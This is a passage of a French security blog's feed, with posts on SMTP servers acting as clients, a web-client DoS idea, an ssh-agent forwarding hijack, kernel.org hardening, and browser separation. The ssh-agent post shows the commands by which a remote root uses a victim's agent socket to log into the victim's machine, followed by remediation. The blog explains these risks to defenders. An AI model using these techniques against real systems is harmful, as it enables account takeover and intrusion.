type='text'>Attaquons les serveurs lorsqu'ils sont clients</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Ce message expose une idée qui date de longtemps que je n'ai jamais eu le temps de travailler. Nous savons tous que la majorité des protocoles internet reposent sur un mécanisme client / serveur. Par exemple un client web (Firefox) demande une page web (index.html) à un serveur web (apache).&lt;br /&gt;&lt;br /&gt;Il arrive que des serveurs doivent se comporter comme des clients. L'exemple le plus connu est celui du serveur de mail, qui accepte des mails en tant que serveur et les envoie au destinataire en tant que client. [On peut retrouver cette notion en HTTP, mais cela concerne plus les langages comme php qui se retrouvent client web.]. Nous savons que les serveurs sont attaqués et étudiés continuellement, mais qu'en est il de leur robustesse lorsqu'ils sont clients?&lt;br /&gt;&lt;br /&gt;Le choix du serveur de mail apparaît comme intéressant. Il est présent à peu près partout et il est vraisemblablement possible de faire envoyer un mail depuis un serveur légitime sur un serveur pirate. Il faut trouver une adresse qui bounce, un mail de refus ou un mail légitime demandant une réponse vers un enregistrement MX que l'on&amp;nbsp;maîtrise, et le serveur SMTP victime s'y connectera.&lt;br /&gt;&lt;br /&gt;J'ai effectué une étude rapide sur sendmail. Lorsque je l'utilise en serveur, il est très strict sur la&amp;nbsp;réception&amp;nbsp;des commandes SMTP. Un écart à la RFC et la connexion coupe. Par contre, si je me fais passer pour un serveur et que je demande à sendmail de lui envoyer un mail, alors il devient beaucoup plus laxiste:&lt;br /&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;Sendmail &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;-- &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Pirate&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;EHLO sendmail --&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;i&gt;&amp;lt;-- 502 Command not implemented&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;HELO sendmail --&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;i&gt;&amp;lt;-- 250 Ok&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;MAIL FROM: &lt;exp@domaine&gt; --&amp;gt;&lt;/exp@domaine&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;i&gt;&amp;lt;-- 250 Ok&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;RCPT TO: &lt;dest@pirate&gt; --&amp;gt;&lt;/dest@pirate&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;i&gt;&amp;lt;-- Test&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;lt;-- (1024 x le caractère A )&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;lt;-- d’autres caractères&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&lt;i&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;lt;-- 250 Ok&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;DATA --&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;i&gt;&amp;lt;-- 354 Start mail&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;( mail )&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;. --&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;i&gt;&amp;lt;-- 250 Ok&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;QUIT --&amp;gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: 'Courier New', Courier, monospace;"&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;i&gt;&amp;lt;-- 250 Ok&lt;/i&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Ce test est moyennement concluant, je n'ai pas pu faire crasher sendmail, menant peut-être à une exploitation, mais j'ai montré qu'il est possible de sortir du chemin classique des RFC sans que sendmail ne le détecte. J'ai même pu envoyer une image iso sans problème, cela peut donc tout à fait être utilisé comme un canal de communication caché.&lt;br /&gt;&lt;br /&gt;J'ai trouvé extrêmement peu de littérature à ce sujet. Il existe une vieille faille sur &lt;a href="http://technet.microsoft.com/en-us/security/bulletin/ms02-037"&gt;Exchange (datant de 2002)&lt;/a&gt; basée sur ce principe. Il reste à celui que ça intéresse de tester sur l'intégralité des serveurs SMTP disponibles ce genre d'attaques. Le nombre de commandes disponibles EHLO rend le test exhaustif des réponses encore un peu plus long.&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-2649739240359615369?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/2649739240359615369/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/10/attaquons-les-serveurs-lorsquils-sont.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/2649739240359615369'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/2649739240359615369'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/10/attaquons-les-serveurs-lorsquils-sont.html' title='Attaquons les serveurs lorsqu&apos;ils sont clients'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-3572734159936327072</id><published>2011-10-11T06:00:00.000+02:00</published><updated>2011-10-11T06:00:06.236+02:00</updated><title type='text'>Et si on essayait de DoSser le client web?</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;La faille &lt;a href="http://exploitability.blogspot.com/2011/08/apache-range-header-et-cve-2011-3192.html"&gt;2011-3192&lt;/a&gt; avait pour cible apache et permettait d'effectuer un DoS sur le serveur. Cette faille m'a donné une idée que je n'ai jamais poussée faute de temps, si cela intéresse quelqu'un pour tester, qu'il le fasse savoir :-),&amp;nbsp;cela fait partie de mon stock de message de blogs non terminé que je donne ici.&lt;br /&gt;&lt;br /&gt;La faille CVE originale se basait sur une requête d'un client demandant un très grand nombre de fragments au serveur. J'ai donc réfléchi sur l'effet inverse: Comment se comporte un client lorsqu'on lui envoie plusieurs fragments, de préférence très éloigné les uns des autres en réponse à une requête?&lt;br /&gt;C'est à dire qu'un client requête une page web normalement (GET, etc..) et le serveur lui renvoie une réponse&amp;nbsp;&lt;a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec19.html#sec19.2"&gt;Partial&lt;/a&gt;&amp;nbsp;de grande taille, p.ex. les octets 1 à 10, puis 4Go à 4Go+10octets. Est-ce qu'il crashe?&lt;br /&gt;&lt;br /&gt;Il faut donc tester:&lt;br /&gt;-le comportement des clients webs face à une réponse Partielle alors qu'une page complète est demandée; peut-être affiche-t'il une partie, peut-être qu'il refuse la page.&lt;br /&gt;-le comportement des clients web face à cette page partiell. Allouent-ils immédiatement l'espace, où seulement les octets réellement reçus?&lt;br /&gt;-est-ce qu'il y a moyen d'améliorer le process en choisissant mieux les plages renvoyées?&lt;br /&gt;&lt;br /&gt;Je n'ai pas trouvé de littérature à ce sujet, il y a peut-être à creuser.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-3572734159936327072?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/3572734159936327072/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/10/et-si-on-essayait-de-dosser-le-client.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/3572734159936327072'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/3572734159936327072'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/10/et-si-on-essayait-de-dosser-le-client.html' title='Et si on essayait de DoSser le client web?'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-7657818355825650688</id><published>2011-10-10T06:00:00.000+02:00</published><updated>2011-10-11T09:05:51.347+02:00</updated><title type='text'>Attaquer ssh avec ssh-agent.</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Le &lt;a href="http://exploitability.blogspot.com/2011/10/veririer-la-securite-de-sa-machine.html"&gt;post de blog précédent&lt;/a&gt; citait un &lt;a href="https://lkml.org/lkml/2011/10/4/7"&gt;commentaire de Ted Tso&lt;/a&gt;: &lt;i&gt;Note that if your laptop allows incoming ssh connections, and you logged into master.kernel.org with ssh forwarding enabled, your laptop may not be safe&lt;/i&gt;. Ce post va expliquer ce risque de sécurité.&lt;br /&gt;&lt;br /&gt;1/Rappels&lt;br /&gt;ssh permet de se connecter à une machine distante en s'authantifiant de différentes manières, notamment via une paire de clés RSA. Ces clés peuvent être protégées (et c'est conseillé) par un mot de passe. &lt;br /&gt;ssh-agent permet de conserver l'accès à ces clés une fois le mot de passe donné une première fois. ssh-agent permet aussi de faire suivre l'accès aux clés entre différentes machines. Ex: je me logge depuis 'host' sur A, puis sur B, le serveur sshd de B peut demander la clé sur host à l'aide de l'agent.&lt;br /&gt;&lt;br /&gt;2/Usages&lt;br /&gt;Généralement, on lance ssh-agent, puis on ajoute les clés nécessaires à l'aide de ssh-add. Une session s'affiche donc généralement:&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;iMac:~ test3$ ssh-agent &lt;br /&gt;SSH_AUTH_SOCK=/tmp/ssh-xLT5wqNT0G/agent.720; export SSH_AUTH_SOCK;&lt;br /&gt;SSH_AGENT_PID=721; export SSH_AGENT_PID;&lt;br /&gt;echo Agent pid 721;&lt;br /&gt;iMac:~ test3$ ssh-add &lt;br /&gt;Identity added: /Users/test3/.ssh/id_rsa (/Users/test3/.ssh/id_rsa)&lt;br /&gt;iMac:~ test3$&lt;/div&gt;&lt;br /&gt;Puis la connexion est faite sur une machine distante, la connexion se fait sans mot de passe grâce à l'échange de clés RSA:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;iMac:~ test3$ ssh -A kevin@192.168.1.99&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;Last login: Sat Oct&amp;nbsp; 4 11:52:03 2011 from macos&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;Linux 2.6.37.6.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;kevin@slackware:~$ env | grep SSH&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;SSH_CLIENT=192.168.1.5 50840 822&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;SSH_TTY=/dev/pts/3&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;SSH_AUTH_SOCK=/tmp/ssh-GOTNp27472/agent.27472&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;SSH_CONNECTION=192.168.1.5 50840 192.168.1.99 822&lt;/span&gt;&lt;br /&gt;Et l'agent est accessible via une socket dans /tmp. Ce qui signifie que tout accès à cette socket donne accès à l'agent. Cette socket est protégée via des droits Unix:&lt;br /&gt;&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;kevin@slackware:~$ ls -la /tmp/ssh-GOTNp27472/&lt;br /&gt;total 8&lt;br /&gt;drwx------&amp;nbsp; 2 kevin users 4096 oct.&amp;nbsp;&amp;nbsp; 4 14:27 ./&lt;br /&gt;drwxrwxrwt 10 root&amp;nbsp; root&amp;nbsp; 4096 oct.&amp;nbsp;&amp;nbsp; 4 14:27 ../&lt;br /&gt;srwxr-xr-x&amp;nbsp; 1 kevin users&amp;nbsp;&amp;nbsp;&amp;nbsp; 0 oct.&amp;nbsp;&amp;nbsp; 4 14:27 agent.27472=&lt;br /&gt;kevin@slackwall:~&lt;/div&gt;&lt;br /&gt;3/ Conditions d'exploitation&lt;br /&gt;Il est connu que root accède à tous les fichiers indépendamment des droits Unix, il a donc accès à la socket, et donc accès aux clés via l'agent:&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;root@slackware:~# export SSH_AUTH_SOCK=/tmp/ssh-sXrpwak27467/agent.27467&lt;br /&gt;root@slackware:~# ssh-add -l&lt;br /&gt;2048 a3:06:99:bc:e3:0d:7e:f4:e9:48:07:55:fd:ee:1b:be /Users/test3/.ssh/id_rsa (RSA)&lt;br /&gt;root@slackwall:~#&lt;/div&gt;Ceci devrait être bénin comme conséquence. La clé privée accessible sert à l'utilisateur test3 pour se connecter sur une machine distante. Mais, et c'est bien là ou se situe le noeud du problème, des utilisateurs choisissent expressément cette clé également comme clé de connexion personnelle! i.e. l'utilisateur test3 emploie la clé /Users/test3/.ssh/id_rsa.pub dans /Users/test3/.ssh/authorized_keys&lt;br /&gt;&lt;br /&gt;Et là, c'est le drame, il devient dès lors possible pour root de se connecter sur la machine:&lt;br /&gt;&lt;div style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;root@slackware:~# ssh -l test3 macos&lt;br /&gt;Last login: Sat Oct&amp;nbsp; 4 13:53:46 2011&lt;br /&gt;iMac:~ test3$&lt;/div&gt;Le client ssh se connecte sur macos, une demande d'échange de clé est faite; cette demande remonte à l'agent qui donne la liste de clés présente (id_rsa), qui correspond avec l'une du fichier authorized_keys : connexion établie. Et le root malveillant de la machine slackware a pu se connecter sur la machine macos via l'identité de test3.&lt;br /&gt;&lt;br /&gt;4/ Remédiations&lt;br /&gt;Le problème de ce setup provient de l'usage fait par cette clé. Elle sert aussi bien à se connecter sur une machine distante que sur la machine locale. Dit d'une autre manière, cela reviendrait à n'utiliser qu'un unique mot de passe entre une machine distante et une machine locale.&lt;br /&gt;La solution consiste donc à utiliser plusieurs clés. La clé permettant de se connecter à slackware ne doit permettre de ne se connecter qu'à slackware. Une autre clé doit être générée via ssh-keygen pour se connecter sur macos. Ainsi, même si root accède à la socket de ssh, il n'aura pas l'autorisation pour se logger, l'agent n'ayant pas la bonne clé.&lt;br /&gt;Il est également possible de ne pas utiliser l'agent (désactivé dans la configuration par défaut d'openssh) ou de ne pas utiliser de serveur sshd sur la machine locale comme proposé lors de la discussion sur la mainling-list. &lt;br /&gt;&lt;br /&gt;J'en profite pour citer une autre partie de son message: "&lt;i&gt;Yes, that's paranoia.  With security, the question is always, "are you paranoid *enough*"?&lt;/i&gt;"&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-7657818355825650688?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/7657818355825650688/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/10/attaquer-ssh-avec-ssh-agent.html#comment-form' title='2 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/7657818355825650688'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/7657818355825650688'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/10/attaquer-ssh-avec-ssh-agent.html' title='Attaquer ssh avec ssh-agent.'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-4993900066683972186</id><published>2011-10-08T11:01:00.001+02:00</published><updated>2011-10-08T11:07:21.107+02:00</updated><title type='text'>Vérifier la sécurité de sa machine - kernel.org</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Après avoir &lt;a href="https://www.linuxfoundation.org/news-media/blogs/browse/2011/08/cracking-kernelorg"&gt;subi&lt;/a&gt; une attaque &lt;a href="http://exploitability.blogspot.com/2011/09/kernelorg-est-compromis.html"&gt;récemment&lt;/a&gt;, le site &lt;a href="http://kernel.org/"&gt;kernel.org&lt;/a&gt; a été réinstallé et est revenu on-line.&lt;br /&gt;Les développeurs ont fait suivre une série de best-practice aux développeurs à faire avant de chercher à se reconnecter sur kernel.org. Voici extraits les messages les plus techniques de la mailing list LKML.&lt;br /&gt;&lt;br /&gt;Le &lt;a href="https://lkml.org/lkml/2011/9/30/421"&gt;premier message&lt;/a&gt; donne une série de mesures, qui commence par "s'assurer que son système n'est pas compromis". Le reste est plus spécifique à GPG et permet de s'assurer via une chaîne de confiance humaine (et non automatiques comme les certificats SSL/TLS de nos navigateurs) que les clés GPG correspondent bien aux bonnes personnes.&lt;br /&gt;Le &lt;a href="https://lkml.org/lkml/2011/9/30/425"&gt;second&lt;/a&gt; donne une série de bonnes pratiques afin de "vérifier son système" comme indiqué au point 1 du message précédent. Il conseille de tout réinstaller, de faire un check anti-rootkits, de vérifier ses logs, vérifier la signature des paquets. Classique, mais un rappel ne fait pas de mal.&lt;br /&gt;Le &lt;a href="https://lkml.org/lkml/2011/10/1/11"&gt;troisième&lt;/a&gt; précise une série de mesures pour lire et exploiter au mieux ses logs. Je trouve une idée particulièrement bonne: &lt;i&gt;check for suspicious DNS requests from machines that are normally not accessed. A number of services perform DNS requests when connected to, in order to log a resolved address. If the machine was penetrated and the logs wiped, the DNS requests will probably still lie in the firewall logs. While there's nothing suspect from a machine that does tens of thousands DNS requests a day, one that does 10 might be suspect. &lt;/i&gt;Le DNS est un allié particulièrement efficace comme IDS, c'est connu.&lt;br /&gt;Le &lt;a href="https://lkml.org/lkml/2011/10/4/7"&gt;quatrième message&lt;/a&gt; indique (entre autre) un point qui me semble évident: si root d'une machine distante est compromis, alors ne faites pas du ssh dessus avec un agent activé si vous n'utilisez qu'une clé! &lt;i&gt;Note that if your laptop allows incoming ssh connections, and you logged into master.kernel.org with ssh forwarding enabled, your laptop may not be safe&lt;/i&gt;. Effectivement, mais cela demande quand même un setup particulièrement mal fichu. Pour que cette condition soit vraie il faut que vous chargiez dans l'agent &lt;u&gt;la&lt;/u&gt; clé qui vous permette de vous connecter chez vous. Ce genre de setup existe (entre autre) si la même clé est utilisée de partout! Pour des développeurs kernel, ça paraît léger, c'est comme si vous utilisiez le même mot de passe pour tous les services... [Je donne la démo d'exploitation dans un post de blog à venir.]&lt;br /&gt;&lt;br /&gt;Les admins qui remontent les services actuellement précisent qu'ils fourniront un rapport détaillé sur l'intrusion. J'espère pouvoir le lire bientôt.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-4993900066683972186?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/4993900066683972186/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/10/veririer-la-securite-de-sa-machine.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/4993900066683972186'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/4993900066683972186'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/10/veririer-la-securite-de-sa-machine.html' title='Vérifier la sécurité de sa machine - kernel.org'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-85901570329421150</id><published>2011-10-07T06:00:00.000+02:00</published><updated>2011-10-07T06:00:05.001+02:00</updated><title type='text'>Amusons nous cinq minutes avec les certificats frauduleux.</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;On m'a fait suivre il y a quelques temps un post de blog expliquant le "Man in the Middle" sur le &lt;a href="http://blogs.orange-business.com/securite/2011/09/aprs-des-vacances-bien-mrits.html"&gt;blog orange sécurité&lt;/a&gt;. Le tout en vidéo s'il vous plaît!&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;object width="320" height="266" class="BLOGGER-youtube-video" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" data-thumbnail-src="http://1.gvt0.com/vi/OC0oft8W4Y0/0.jpg"&gt;&lt;param name="movie" value="http://www.youtube.com/v/OC0oft8W4Y0&amp;fs=1&amp;source=uds" /&gt;&lt;param name="bgcolor" value="#FFFFFF" /&gt;&lt;embed width="320" height="266"  src="http://www.youtube.com/v/OC0oft8W4Y0&amp;fs=1&amp;source=uds" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;Et là, c'est tout simplement énorme la sécurité expliquée aux newbies. Le man in the middle, c'est tout simple, la vidéo peut se résumer à:&lt;br /&gt;&lt;blockquote&gt;&lt;i&gt;J'envoie un certificat frauduleux, le navigateur n'y voit que du feu.&lt;/i&gt;&lt;/blockquote&gt;Certes, certes, certes. C'est effectivement tout simple, il suffit tout simplement d'un certificat frauduleux, et hop.&lt;br /&gt;&lt;br /&gt;Je propose d'autres sujets de sécurité pour le prof:&lt;br /&gt;"&lt;u&gt;Lire des documents chiffrés via AES&lt;/u&gt;". Alors on a un document chiffré via AES, on fait un bruteforce frauduleusement et on a la clé, alors on peut lire les informations dans le document chiffré!&lt;br /&gt;&lt;br /&gt;"&lt;u&gt;Voler une session Facebook&lt;/u&gt;". Alors on a un utilisateur qui se connecte sur facebook, on lui vole frauduleusement son cookie de session, et alors on peut se connecter avec ses droits!&lt;br /&gt;&lt;br /&gt;&lt;u&gt;"Exploiter une application"&lt;/u&gt;&amp;nbsp;Alors on a une application, on lui envoie frauduleusement un buffer overflow, et alors on peut lui faire exécuter du code!&lt;br /&gt;&lt;br /&gt;Je m'arrête là, mais on pourrait continuer longtemps :-)&lt;br /&gt;La sécurité informatique ça a l'air tellement simple qu'on se demande pourquoi on en parle encore, ça devrait être réglé depuis le temps.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2330984441575997476-85901570329421150?l=exploitability.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://exploitability.blogspot.com/feeds/85901570329421150/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://exploitability.blogspot.com/2011/10/amusons-nous-cinq-minutes-avec-les.html#comment-form' title='2 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/85901570329421150'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2330984441575997476/posts/default/85901570329421150'/><link rel='alternate' type='text/html' href='http://exploitability.blogspot.com/2011/10/amusons-nous-cinq-minutes-avec-les.html' title='Amusons nous cinq minutes avec les certificats frauduleux.'/><author><name>Kevin</name><uri>http://www.blogger.com/profile/02931502286392645382</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2330984441575997476.post-2654343830369380468</id><published>2011-10-06T06:00:00.000+02:00</published><updated>2011-10-06T08:00:56.931+02:00</updated><title type='text'>Différencier ses sessions de surf internet</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Le surf sur internet est loin d'être une activité anodine. A l'aide du même outil, un navigateur internet, on surf aussi bien sur le site de sa banque, que l'on consulte ses mails personnels et professionnels, on joue à des jeux flashs, on twitte on blog, on lit des flux RSS, etc...&lt;br /&gt;Tout le monde connaît les dangers du XSS, CSRF etc, je ne reviens donc pas dessus. J'ai choisi depuis quelque temps de différencier mes navigateurs webs selon les usages. Cette idée m'est venue sur le site d'invisible thing labs lors de la présentation de &lt;a href="http://qubes-os.org/Home.html"&gt;Qubes OS&lt;/a&gt; qui pousse le concept de séparation inter applications à l'extrême. N'ayant pas de machine compatible Qubes, j'utilise un linux standard avec firefox et chrome majoritairement, chacun ayant leur rôle particulier. Pour les sessions risquées et pour être sûr des flux sortant de ma machine, j'ai déjà lancé un navigateur dans une machine virtuelle (lguest) accédée via vnc et détruite après usage, mais la lenteur de la mise en route de ce genre de solution ne le rend pas viable au quotidien, partie essentielle du concept. S'il faut 5mn pour lancer un navigateur "sûr" alors à terme, on ne le lancera plus. S'il faut 3s, alors on copie-colle l'URL "louche" et le risque est réduit.&lt;br /&gt;&lt;br /&gt;Sous Chrome, je vais sur des sites "personnifiés", banque, mails, impôts. &lt;br /&gt;Sous firefox je fais du "random browsing" ou des consultations de sites impersonnels (webmails où j'utilise différents pseudos ou identités poubelles). Ainsi, je m'évite des problèmes de sécurité liés à l'utilisation d'un navigateur unique, un onglet firefox me demandant mon adresse gmail me mettrai par exemple immédiatement la puce à l'oreille! De plus, le visuel largement différent entre les deux navigateurs me permet d'un coup d'oeil de ne pas me tromper.&lt;br /&gt;&lt;br /&gt;Les réglages proxy de l'un n'influent pas l'autre. Je peux donc vérifier le cas échéant les certificats des sites https depuis deux sources distinctes: chrome en direct, firefox via tor, un petit peu à l'image de ce que proposait Moxie Marlinspike (vérifier depuis plusieurs sources les certificats pour en attester la validité).&lt;br /&gt;Plus intéressant les cookies sont différents, dont les cookies de sessions. Ainsi, je peux être loggé sur le site A sur Chrome et surfer sur A depuis firefox sans être loggé, ce qui peut être utile.&lt;br /&gt;J'ai lu un &lt;a href="http://scarybeastsecurity.blogspot.com/2011/04/fiddling-with-chromiums-new-certificate.html"&gt;message de 